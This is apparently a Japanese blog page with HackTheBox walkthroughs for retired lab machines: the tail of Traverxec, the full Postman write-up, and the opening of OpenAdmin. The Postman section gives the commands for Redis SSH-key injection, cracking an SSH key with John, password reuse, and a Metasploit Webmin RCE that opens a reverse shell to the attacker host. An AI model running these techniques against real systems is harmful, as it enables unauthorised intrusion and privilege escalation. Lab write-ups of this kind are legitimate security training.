$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-03-04 19:16:28 EST, end at Wed 2020-03-04 19:16:58 EST. --
Mar 04 19:16:33 traverxec systemd[1]: Starting nostromo nhttpd server...
Mar 04 19:16:33 traverxec systemd[1]: nostromo.service: Can't open PID file /var/nostromo/logs/nhttpd.pid (yet?) after start: No such
Mar 04 19:16:33 traverxec nhttpd[459]: started
Mar 04 19:16:33 traverxec nhttpd[459]: max. file descriptors = 1040 (cur) / 1040 (max)
Mar 04 19:16:34 traverxec systemd[1]: Started nostromo nhttpd server.
!/bin/
# id
uid=0(root) gid=0(root) groups=0(root)

フラグを確認する。

# cat /root/root.txt
9aa36a6d76f785dfd320a4xxxxxxxxxx

ついでにsudoの設定ファイルもみてみる。

# cat /etc/sudoers
...
# Allow david to tail last 5 lines of nhttpd logs for the server stats script.
# Should be safe.
david   ALL=(ALL:ALL) NOPASSWD:/usr/bin/journalctl -n5 -unostromo.service

終わり

感想

全体的に対象のソフトウェアを理解していないと突破できないなと感じた。他のと比べると簡単だった気もするが、そこが難しい。
今回ローカルからの特権昇格についての知識は皆無だったので、gtfobinsの存在を知れたのは大きな成果だった。

探索している最中に他のユーザが使っていたのであろうシェルを見つけた。
https://github.com/rebootuser/LinEnum
権限周りなど、一通り調べるように自動化したものらしい。これもいい収穫だった。

HTB Postman Walkthrough

振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのPostmanマシンに対するネタバレになるので、挑戦予定の方は🙅‍♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。

概要

https://www.hackthebox.eu/home/machines/profile/215

10.10.10.160

f:id:kyonta1022:20200514223844p:plainf:id:kyonta1022:20200514223859p:plain

Machineの概要を見てみると、Enumeration/CVE が必要とされている。
どれだけ網羅的にスキャンできて、稼働しているサービスの脆弱性を発見できるかが問われる。
前回突破したOpneAdminよりチャートが鋭いので、より実践的なイメージ。

偵察

Nmap Scan

一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。

# nmap -A 10.10.10.160
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 20:49 JST
Nmap scan report for 10.10.10.160
Host is up (0.17s latency).
Not shown: 968 closed ports, 29 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/28%OT=22%CT=1%CU=33230%PV=Y%DS=2%DC=T%G=Y%TM=5E58FE7
OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   247.14 ms 10.10.14.1
2   247.16 ms 10.10.10.160

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.70 seconds

脆弱性情報検索

Apache 2.4.29OpenSSH 7.6p1に関しては、OpenAdminのときに使えそうな脆弱性がなかったので今回は対象外とした。
なので、脆弱性がありそうなサービス候補としてはMiniServ 1.910だけになる。
WebMinについて調べてみると1.910には、ログインしてパッケージを更新する権限がある場合に、リモートコマンド実行の脆弱性存在するらしい。

お、使えそうと思ったが、ログインした状態かつ、パッケージを更新する権限がある場合なので、この線は無さそうと判断。
その後も、DirBusterを使って公開ページの調査や、見落としている脆弱性の可能性を探したが、足掛かりが見つからずお手上げ状態。
Nmapのドキュメントを読んでいたら、スキャンのレンジを長くしてみたらどうだろう?と言うことに気付きフルスキャンしてみる。
(教訓:Nmapはドキュメントで理解を深めとくべき)

# nmap -Pn -A -O -p- -e tun0 10.10.10.160
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 20:59 JST
Nmap scan report for 10.10.10.160
Host is up (0.17s latency).
Not shown: 9996 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/28%OT=22%CT=1%CU=38980%PV=Y%DS=2%DC=T%G=Y%TM=5E59012
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=110%TI=Z%CI=Z%TS=A)SEQ(SP=FF
OS:%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=
OS:M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=71
OS:20%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   186.00 ms 10.10.14.1
2   186.16 ms 10.10.10.160

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.60 seconds

再度ポートスャンをかけると、前回見落としていたRedis 4.0.9が見つかる。
早速脆弱性情報を調べてみると、4.xおよび5.xUnauthenticated Code Executionと言うのを発見した。

詳細:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

4.x系は該当するので、これが足掛かりになるやつかと思い実行してみたが、攻撃が全然成功しない。。。。

途方に暮れながら色々調べ直した結果、設定の不備を利用した攻撃が可能そうだったので、これを使ってみることにした。

# telnet 10.10.10.160 6379
Trying 10.10.10.160...
Connected to 10.10.10.160.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

AUTHが有効になっていないのが確認できた。

侵入

Redis Remote Command Execution

packetstormの手順にしたがって公開鍵をポストしてみる。
始めにポストするためのキーペアを作成する。

# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:AVahdPKX21gtT1FZoAVme5GhFAcgyz3kDGXnNmEtfsc root@kali-linux
The key's randomart image is:
+---[RSA 2048]----+
|      =.*o=.@=B==|
|     o B X O.Oo+ |
|      . = B.X.+. |
|         o B.*. E|
|        S o .... |
|                 |
|                 |
|                 |
|                 |
+----[SHA256]-----+

公開鍵をポスト

# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
# redis-cli -h 10.10.10.160 flushall
OK
# cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
OK
# redis-cli -h 10.10.10.160

10.10.10.160:6379> config get dir
1) "dir"
2) "/var/lib/redis"
10.10.10.160:6379> config set dir /var/lib/redis/.ssh/
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK
10.10.10.160:6379> quit

ログインしてみる。

# ssh -i id_rsa redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Feb 28 12:35:52 2020 from 10.10.15.210
redis@Postman:~$ 

ボッティング

redis

redisユーザの情報を確認する

redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

sudo確認

$ sudo -l
[sudo] password for redis: 

passwdファイルの確認

redis@Postman:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash

groupの確認

redis@Postman:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-network:x:102:
systemd-resolve:x:103:
input:x:104:
crontab:x:105:
syslog:x:106:
messagebus:x:107:
mlocate:x:108:
uuidd:x:109:
ssh:x:110:
lpadmin:x:111:
sambashare:x:112:
Matt:x:1000:
ssl-cert:x:113:
redis:x:114:
netdev:x:115:

今居る場所にどんなファイルが置いてあるか確認

redis@Postman:~$ ls -al
total 660
drwxr-x---  7 redis redis   4096 Feb 28 11:59 .
drwxr-xr-x 37 root  root    4096 Aug 25  2019 ..
drwxr-xr-x  2 root  root    4096 Oct 25 15:21 6379
-rw-------  1 redis redis    741 Feb 28 12:30 .bash_history
drwx------  2 redis redis   4096 Feb 28 12:40 .cache
-rw-r-----  1 redis redis  46760 Aug 26  2019 dkixshbr.so
-rw-rw----  1 redis redis     92 Feb 28 11:59 dump.rdb
drwx------  3 redis redis   4096 Aug 25  2019 .gnupg
-rw-r-----  1 redis redis  46760 Aug 25  2019 ibortfgq.so
drwxrwxr-x  3 redis redis   4096 Aug 26  2019 .local
-rw-r-----  1 redis redis 440656 Aug 25  2019 module.o
-rw-r-----  1 redis redis  46760 Aug 25  2019 qcbxxlig.so
drwxr-xr-x  2 redis root    4096 Feb 28 12:40 .ssh
-rw-r-----  1 redis redis  46760 Aug 25  2019 vlpaulhk.so

dump.rdbも気になるが、6379ディレクトリが気になるので確認。

$ ls -al 6379/
total 12
drwxr-xr-x 2 root  root  4096 Oct 25 15:21 .
drwxr-x--- 7 redis redis 4096 Feb 28 11:59 ..
-rw-r--r-- 1 root  root    92 Oct 25 15:21 dump.rdb

2つのdump.rdbが気になるので、ローカルに持ってきて中身を確認してみる。

$ cp 6379/dump.rdb ./dump.rdb2
# scp -i id_rsa redis@10.10.10.160:/var/lib/redis/dump.rdb2 ./
dump.rdb2                                                                                                                   100%   92     0.4KB/s   00:00   

# scp -i id_rsa redis@10.10.10.160:/var/lib/redis/dump.rdb ./
dump.rdb                 

ハッシュが違うので、時点が違う?

# sha1sum dump.rdb*
c285c649479e81cf9a4ba1e72a12204493f1c335  dump.rdb
0d718978d50b2da1f3213e4973c0d1a399bb29e2  dump.rdb2

中身を確認

# rdb --command json dump.rdb2
[]
# rdb --command json dump.rdb
[]

何も入ってなくて悲しみにくれる。
また地道な探索作業を開始する。
WEBを公開しているので、何かないか確認してみる

$ cd /var/www
$ ls
html  nikto-test-pFTYNhZX.html  SimpleHTTPPutServer.py

$ cd html
$ ls
css  fonts  images  index.html  js  style.css  upload

nikto-test-pFTYNhZX.html SimpleHTTPPutServer.pyが気になるが、それ以外は特になし。

あ、コマンド履歴見ればユーザの最近の操作動向がわかるかも!と思いhistoryを実行する

$ history
    1  exit
    2  su Matt
    3  pwd
    4  nano scan.py
    5  python scan.py
    6  nano scan.py
    7  clear
    8  nano scan.py
    9  clear
   10  python scan.py
   11  exit
   12  exit
   13  cat /etc/ssh/sshd_config 
   14  su Matt
   15  clear
   16  cd /var/lib/redis
   17  su Matt
   18  exit
   19  cat id_rsa.bak 
   20  ls -la
   21  exit
   22  cat id_rsa.bak 
   23  exit
   24  ls -la
   25  crontab -l
   26  systemctl enable redis-server
   27  redis-server
   28  ifconfig
   29  netstat -a
   30  netstat -a
   31  netstat -a
   32  netstat -a
   33  netstat -a > txt
   34  exit
   35  crontab -l
   36  cd ~/
   37  ls
   38  nano 6379
   39  exit
   40  cd /dev/shm/
   41  ls
   42  wget 10.10.14.235:8000/LinEnum.sh
   43  chmod +x LinEnum.sh 
   44  ./LinEnum.sh 
   45  whoami
   46  ssh matt@localhost
   47  ssh -i /opt/id_rsa.bak  matt@localhost
   48  ssh -i /opt/id_rsa.bak  matt@localhost
   49  login matt
   50  sudo -l
   51  ssh -i /opt/id_rsa.bak  localhost
   52  ls
   53  cd /home/Matt/
   54  ls
   55  cat user.txt 
   56  ls
   57  ls .al
   58  cd .ssh/
   59  ls
   60  cd .ssh
   61  ls
   62  cat user.txt 
   63  sudo -i matt
   64  exit
   65  ls -al
   66  id
   67  cat /etc/passwd
   68  pwd
   69  cat /etc/group
   70  ls
   71  ls -al 6379/
   72  ls -al
   73  cp 6379/dump.rdb ./dump.rdb2
   74  ls -al
   75  ls
   76  cd /
   77  cd /opt
   78  ls
   79  ls -al
   80  cat id_rsa.bak 
   81  cd /var/www
   82  ls
   83  cd html
   84  ls
   85  cd ..
   86  cd /opt
   87  ls
   88  history

/opt/id_rsa.bakがめっちゃ気になるので、ダメもとでみてみると・・・

$ cd /opt
$ ls
id_rsa.bak

ヤバそうなのを見つけた。とりあえず手元に持ってきてsshしてみる。

# scp -i id_rsa redis@10.10.10.160:/opt/id_rsa.bak ./

# ssh -i id_rsa_Matt Matt@10.10.10.160
Enter passphrase for key 'id_rsa_Matt': 

Matt

やはりここでもパスフレーズが必要な模様。
johnを使って解析を試みる。

# python ssh2john.py id_rsa_Matt > id_rsa_Matt.hash

# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa_Matt.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa_Matt)
Warning: Only 1 candidates left, minimum 2 needed for performance.
1g 0:00:00:14 DONE (2020-02-28 22:07) 0.06854g/s 982981p/s 982981c/s 982981C/s *7¡Vamos!
Session completed

Success: computer2008

早速SSHで接続

# ssh -i id_rsa_Matt Matt@10.10.10.160
Enter passphrase for key 'id_rsa_Matt': 
Connection closed by 10.10.10.160 port 22

おかしい。正しいパスフレーズを入力しているのにログインできない。
sshの設定ファイルを確認してみる。

$ cd /etc/ssh

$ ls
moduli      sshd_config     ssh_host_ecdsa_key.pub  ssh_host_ed25519_key.pub  ssh_host_rsa_key.pub
ssh_config  ssh_host_ecdsa_key  ssh_host_ed25519_key    ssh_host_rsa_key      ssh_import_id

$ cat sshd_config 
#   $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
AuthorizedKeysFile  .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#UseLogin no
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

#deny users
DenyUsers Matt

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem   sftp    /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#   X11Forwarding no
#   AllowTcpForwarding no
#   PermitTTY no
#   ForceCommand cvs server

DenyUsers Mattと言う酷な設定を見つけて崩れ落ちる。
どうしようか考えていたら、ssh無理でもsuなら行けそうだし、パスワード使いまわしてそう。
と思いsuを試す

redis@Postman:/etc/ssh$ su Matt
Password: 
Matt@Postman:/etc/ssh$ 

Mattになれた。ホームディレクトリをみてみるとuser.txtがあるので拝借。

Matt@Postman:~$ pwd
/home/Matt
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt 
517ad0ec2458ca97af8d93xxxxxxxxxx

権限を確認する

Matt@Postman:~$ id
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
Matt@Postman:~$ sudo -l
[sudo] password for Matt: 

この後どないしようかと考える。
Mattじゃないとみられないディレクトリもなかったし、怪しいと思ってたSimpleHTTPPutServer.pyも使えなかったし。

$ cat SimpleHTTPPutServer.py 
# python -m SimpleHTTPPutServer 8080
import SimpleHTTPServer
import BaseHTTPServer

class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_PUT(self):
        print self.headers
        length = int(self.headers["Content-Length"])
        path = self.translate_path(self.path)
        with open(path, "wb") as dst:
            dst.write(self.rfile.read(length))


if __name__ == '__main__':
    SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)

あ、MattでログインできたんならWebMinにもログインしてみればいいのでは?
Webminはホストのログインユーザのクレデンシャルと同じでログインできる仕様になってるし、
仮にパッケージの更新権限あれば、最初に調べて使えなかったエクスプロイとが使えるのでは!?

試してみる。

f:id:kyonta1022:20200514224236p:plain f:id:kyonta1022:20200514224242p:plain f:id:kyonta1022:20200514224247p:plain

めっちゃパッケージのアップデート権限ある。
と言うことで、Mattを使って例のエクスプロイとを試してみる。 searchsploitを使ってPOCを入手する。

# searchsploit WebMin 1.910
-------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                              |  Path
                                                                                            | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------- ----------------------------------------
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)                      | exploits/linux/remote/46984.rb
-------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result

Metasploitから使えるようにモジュールを配置する

# cp /usr/share/exploitdb/exploits/linux/remote/46984.rb /root/.msf4/modules/exploits/poc/

Metasploitからエクスプロイトする

# msfconsole
[i] Database already started
[i] The database appears to be already configured, skipping initialization
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,
           :kk;.OOOOOOOOOOOOO.;Ok:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v5.0.2-dev                           ]
+ -- --=[ 1855 exploits - 1046 auxiliary - 325 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]


msf5 > use exploit/poc/46984 
msf5 exploit(poc/46984) > show options 

Module options (exploit/poc/46984):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf5 exploit(poc/46984) > set PASSWORD computer2008
PASSWORD => computer2008
msf5 exploit(poc/46984) > set USERNAME Matt
USERNAME => Matt
msf5 exploit(poc/46984) > set SSL true
SSL => true
msf5 exploit(poc/46984) > set RHOST 10.10.10.160
RHOST => 10.10.10.160
msf5 exploit(poc/46984) > set LHOST 10.10.14.223
LHOST => 10.10.14.223
msf5 exploit(poc/46984) > options 

Module options (exploit/poc/46984):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target address range or CIDR identifier
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.223     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

msf5 exploit(poc/46984) > exploit 

[*] Started reverse TCP handler on 10.10.14.223:4444 
[+] Session cookie: 8dd7ffee64a09526d4827facae0228cb
[*] Attempting to execute the payload...
[*] Command shell session 2 opened (10.10.14.223:4444 -> 10.10.10.160:45060) at 2020-02-28 22:27:01 +0900

shell
[*] Trying to find binary(python) on target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
/usr/bin/python

Python 2.7.15+ (default, Nov 27 2018, 23:36:35) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> quit()
quit()
# # id
id

uid=0(root) gid=0(root) groups=0(root)

# # cd  
cd 

# # ls
ls

redis-5.0.0  root.txt
# # cat root.txt
cat root.txt

a257741c5bed8be7778c6exxxxxxxxxx

終わり

HTB OpenAdmin Walkthrough

振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのOpenAdminマシンに対するネタバレになるので、挑戦予定の方は🙅‍♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。

概要

https://www.hackthebox.eu/home/machines/profile/222

10.10.10.171

